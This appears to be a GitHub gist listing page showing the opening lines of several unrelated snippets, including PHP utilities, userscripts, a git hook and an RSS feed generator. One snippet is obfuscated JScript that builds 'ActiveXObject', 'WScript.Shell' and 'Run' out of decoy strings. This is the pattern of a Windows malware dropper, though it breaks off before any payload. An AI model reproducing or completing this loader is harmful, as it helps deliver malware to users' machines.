This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
define('API_KEY', 'set your Flickr API key here'); | |
define('MY_USER_ID', '42620619@N05'); | |
set_time_limit(600); | |
class flickrCall { | |
const URL_ENDPOINT = 'http://api.flickr.com/services/rest/?'; | |
protected $data = array(); | |
protected static $ch; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
const LANGUAGE_ENGLISH = 'en'; | |
const LANGUAGE_RUSSIAN = 'ru'; | |
// языки какие мы поддерживаем в порядке приоритета | |
$languages = [LANGUAGE_RUSSIAN, LANGUAGE_ENGLISH]; | |
// зададим язык из куки если она есть | |
if (isset($_COOKIE['lang']) && in_array($_COOKIE['lang'], $languages)) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class one | |
{ | |
public function __construct() | |
{ | |
die("DIED ONCE\n"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html><html><head><meta charset="utf-8" /> | |
<title>Draw a lottery in JavaScript</title> | |
<style type="text/css"> | |
label, button { | |
display: block; | |
} | |
</style> | |
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script> | |
<script type="text/javascript" src="http://crypto-js.googlecode.com/svn/tags/3.0.2/build/rollups/sha1.js"></script> | |
<script type="text/javascript"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Getty Images Flickr Helper | |
// @namespace http://userscripts.org/users/163777 | |
// @include https://contribute.gettyimages.com/producer/images/flickr/* | |
// @require http://code.jquery.com/jquery.min.js | |
// @version 1.01 | |
// @updateURL https://gist.github.com/sanmai/5916333/raw/Getty_Images_Flickr_Helper.user.js | |
// ==/UserScript== | |
var currentPhoto = '', stylesAdded = false; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Yahoo! Japan Auctions Helper | |
// @namespace http://userscripts.org/users/163777 | |
// @include http://page*.auctions.yahoo.co.jp/show/contact* | |
// @include http://page*.auctions.yahoo.co.jp/jp/show/contact* | |
// @require http://code.jquery.com/jquery.min.js | |
// @version 1.0 | |
// ==/UserScript== | |
$('a[onclick][href^="/show/contact_detail"]').each(function () { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ "$2" == "message" || -z "$2" ]]; then | |
BRANCH_NAME=$(git branch 2>/dev/null | grep -e ^* | tr -d ' *') | |
if [[ -n "$BRANCH_NAME" && "$BRANCH_NAME" != "master" ]]; then | |
echo "$BRANCH_NAME: $2 $(cat $1)" > $1 | |
fi | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Bus 004 Device 002: ID 0b95:1790 ASIX Electronics Corp. AX88179 Gigabit Ethernet | |
AX88179 - USB 3.0 to Gigabit Ethernet (GbE,GigE) | ASIX |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
absoluteProcedure = eval(('alcohol', 'examine', 'situation', 'race', 'cocoon', 'apostrophe', '\u0074barge'.e()) + 'hi' + ('anonymous', 'opposition', 'investment', '\u0073transportation'.e()) + ''); | |
absoluteProcedure = absoluteProcedure[('dessert', 'taboo', 'version', 'amorphous', 'stimulus', 'syndicate', '\u0041individuality'.e()) + 'ct' + ('boat', 'selection', 'contrast', 'program(me)', 'container', '\u0069storm'.e()) + 've' + ('combination', 'fortune', '\u0058accord'.e()) + 'O' + ('binary', 'condition', 'square', '\u0062centimetre'.e()) + 'je' + ('board', 'specification', '\u0063chocolate'.e()) + 't']; | |
tabletBarrack = ('cardinal', 'interpret', 'parity', 'arsenal', 'taboo', '\u0052campaign'.e()) + 'un'; | |
function String.prototype.e(a) { | |
return this.charAt(a); | |
} | |
resultAnalogy = new absoluteProcedure(('veto', '\u0057acoustic'.e()) + 'Sc' + ('switch', 'delta', '\u0072massive'.e()) + 'i' + ('meeting', 'memorandum', 'autograph', 'portion', '\u0070reservation'.e()) + 't.' + ('parallel', 'declaration', ' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
header('Content-Type: application/rss+xml; charset=utf-8'); | |
$self = "https://www.example.com/news.xml"; | |
$url = "https://www.example.com/"; | |
$name = "Новости Example.com"; | |
$xml = new DOMDocument("1.0", "utf-8"); | |
$xml->formatOutput = true; |